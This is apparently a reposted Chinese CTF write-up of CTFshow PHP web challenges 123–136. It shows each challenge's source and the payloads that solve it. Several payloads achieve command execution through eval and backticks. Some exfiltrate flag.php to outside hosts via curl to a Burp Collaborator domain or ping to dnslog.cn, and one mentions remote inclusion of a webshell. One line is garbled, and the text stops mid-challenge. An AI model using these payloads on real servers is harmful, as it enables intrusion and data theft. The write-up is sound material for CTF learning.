CTFshow刷题日记-WEB-PHP特性(下篇123-150)
Posted Ocean:)
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFshow刷题日记-WEB-PHP特性(下篇123-150)相关的知识,希望对你有一定的参考价值。
web123,125,126
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\\\\\|\\/|\\~|\\`|\\!|\\@|\\#|\\%|\\^|\\*|\\-|\\+|\\=|\\{|\\}|\\"|\\'|\\,|\\.|\\;|\\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
以下内容来自羽师傅的博客
第一个难搞的地方isset($_POST[‘CTF_SHOW.COM’])因为php变量命名是不允许使用点号的
可以测试一下
<?php
var_dump($_POST);
输入 CTF_SHOW.COM=1
返回
array(1) { ["CTF_SHOW_COM"]=> string(1) "1" }
那么既然题目是可以有方法通过的,我们就来个暴力的方式
下面代码的主要功能是模拟post传参,然后根据返回值的长度来判断。不符合要求的返回长度都为0
<?php
function curl($url,$data){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$response = curl_exec($ch);
curl_close($ch);
return strlen($response);
}
$url="http://127.0.0.1/test.php";
for ($i=0; $i <=128 ; $i++) {
for ($j=0; $j <=128 ; $j++) {
$data="CTF".urlencode(chr($i))."SHOW".urlencode(chr($j))."COM"."=123";
if(curl($url,$data)!=0){
echo $data."\\n";
}
}
}
其中test.php中的内容
<?php
if(isset($_POST['CTF_SHOW.COM'])){
echo 123;
}
输出结果
CTF%5BSHOW.COM=123
具体的原理尚不清楚
另外一个知识点
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
因为我们是在网页模式下运行的,所以
$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER['QUERY_STRING']
这时候我们只要通过 eval(" c " . " ; " ) ; 将 c".";");将 c".";");将flag赋值flag_give_me就可以了
payload:
get: $fl0g=flag_give_me;
post: CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])
非预期解
post: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
post: CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS) 题目出不来,本地测试可以
预期解
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
本地测试了下
<?php
$a=$_SERVER['argv'];
var_dump($a);
传入 a=1+fl0g=flag_give_me
结果如下
array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me"
有大佬啃了下php的c源码总结如下
CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去
继续判断query string是否为空,
如果不为空把通过+符号分割的字符串转换成php内部的zend_string,
然后再把这个zend_string复制到 arr 数组中去。
这样就可以通过加号+分割argv成多个部分,正如我们上面测试的结果
web127
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\\`|\\~|\\!|\\@|\\#|\\^|\\*|\\(|\\)|\\\\$|\\_|\\-|\\+|\\{|\\;|\\:|\\[|\\]|\\}|\\'|\\"|\\<|\\,|\\>|\\.|\\\\\\|\\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
根php url解析有关
php在解析查询字符串时,它会做两件事:
- 删除空白符
- 将某些字符转换为下划线(包括空格)
还有以下字符等同于ctf_show
+ _ [ . 转换成下划线
+ 这里的加号在url中起到空格的作用
web128
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
考察:gettext扩展
开启扩展后_() 效果合 gettext() 相同
实例:
echo gettext("phpinfo");
结果 phpinfo
echo _("phpinfo");
结果 phpinfo
效果一样
call_user_func('_','phpinfo')
返回的就是phpinfo
flag在flag.php文件中, 可以用 get_defined_vars
get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量
效果就和$GLOBES一样
web129
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
stripos()
查找字符串在另一字符串中第一次出现的位置(不区分大小写)
f 中必须出现 ctfshow 字符串,并且不能再开头
方法一:
远程文件包含,在自己的服务器上写一个一句话木马,保存为txt格式
访问:
?f=http://url/xxx.txt?ctfshow
方法二:
伪协议
payload:f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
filter伪协议支持多种编码方式,无效的就被忽略掉了
web130
利用正则最大回溯次数绕过
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
题目提示:very very very(省略25万个very)ctfshow
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false, 这样就可以绕过第一个正则表达式了
python脚本
import requests
url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/"
data={
'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)
非预期解法
直接 post ,正则匹配到 ctfshow
与匹配规则不符 ,同时 stripos
在第0 匹配, 而0=== FALSE为假绕过。
f=ctfshow
利用数组 f[]=ctfshow
web131
修复了130的非预期解法, 只能使用利用正则最大回溯次数绕过
web132
有一个简单的前端,用dirsearch也没扫到,发现他会跳转一下,加上端口访问robots.txt,发现存在admin目录,访问得到源码
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
关键在
if(false && false || ture)
因为 && 的优先级大于 ||,所以就相当于 (false && false) || ture,只要后边是true就行
ip:8080/admin/?username=admin&password=&code=
web133-无回显rce
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
主要是考察,命令执行的骚操作和curl -F的使用
如果我们传递的参数就是$F
本身,会不会发生变量覆盖?
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断, 经过substr($F,0,6)截取后 得到 `$F `;
然后去执行eval()函数,也就是会执行 eval("`$F `;");
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就突破长度限制执行成功
有点绕,也就是说 ; 后边的内容是我们可以控制的,但是没有回显
然后就是利用curl去带出flag.php
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)
# payload
# 其中-F 为带文件的形式发送post请求
# xx是上传文件的name值,flag.php就是上传的文件
?F=`$F`;+curl -X POST -F xx=@flag.php http://nqh3hfwolip6i6vh6igq0zdnnet9hy.burpcollaborator.net
所以方法原理就是将flag.php上传到bp的Collaborator Client.获得flag
web134-POST数组的覆盖
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
以GET 传参_POST[a]
相当于post传参 a 的效果。
构造paylaod
?_POST[key1]=36d&_POST[key2]=36d
查看源码拿到flag
web135-133加强版
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
比133题添加了过滤
但是没有过滤mv,cp,ping,nl
?F=`$F`; cp flag.php flag.txt
?F=`$F`; mv flag.php flag.txt
ping
payload:F=`$F `;ping `awk '/flag/' flag.php`.1mlbcw.dnslog.cn
nl
?F=`$F `;nl f*>flag.txt
访问即可
web136-tee命令
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\\\$|\\.|\\!|\\@|\\#|\\%|\\^|\\&|\\*|\\?|\\{|\\}|\\>|\\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c']以上是关于CTFshow刷题日记-WEB-PHP特性(下篇123-150)的主要内容,如果未能解决你的问题,请参考以下文章